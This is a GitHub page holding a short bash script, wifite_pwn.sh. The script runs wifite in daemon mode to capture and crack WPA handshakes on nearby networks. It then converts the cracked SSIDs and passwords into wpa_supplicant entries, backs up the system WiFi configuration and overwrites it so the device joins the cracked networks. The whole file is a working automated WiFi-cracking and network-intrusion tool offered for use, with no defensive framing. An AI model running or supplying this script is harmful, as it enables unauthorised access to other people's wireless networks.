-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifite_pwn.sh
47 lines (32 loc) · 911 Bytes
/
wifite_pwn.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
# Wifite to auto pwn wpa and add to wifi configuration
a=tmp
b=wpa_supplicant-wlan1.conf
c=/etc/wpa_supplicant
d=~/conf_bak
sudo wifite -i wlan1 -p 15 --daemon --wpa --new-hs
grep -A 2 essid cracked.json > $a
grep -v "bssid" $a > tmp2
mv tmp2 $a
sed -i 's/--//' $a
sed -i 's/essid/ssid/' $a
sed -i 's/key/psk/' $a
sed -i 's/:/=/' $a
sed -i 's/,//' tmp
sed -i 's/"ssid/network={ \n "ssid/' $a
sed -i 's/.*psk.*/& \n }\n/' $a
# Restore wpa-conf from backup
#grep -r -A 2 psk conf_bak > tmp2
#cut -c 64- tmp2 >> tmp
echo "country=IN
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1" > header
cat $a >> header
#cat header
mkdir -p $d
sudo cp $c/$b $d/wpa_supplicant-wlan1.conf.backup_`date +"%H:%M:%S:%d-%b-%Y"`
sudo find $b -size 0 -print -delete
sudo cp header $c/$b
cp header $c/$b
cat $c/$b
echo -e ${col} "Cracked wifi added to configuration" ${nc}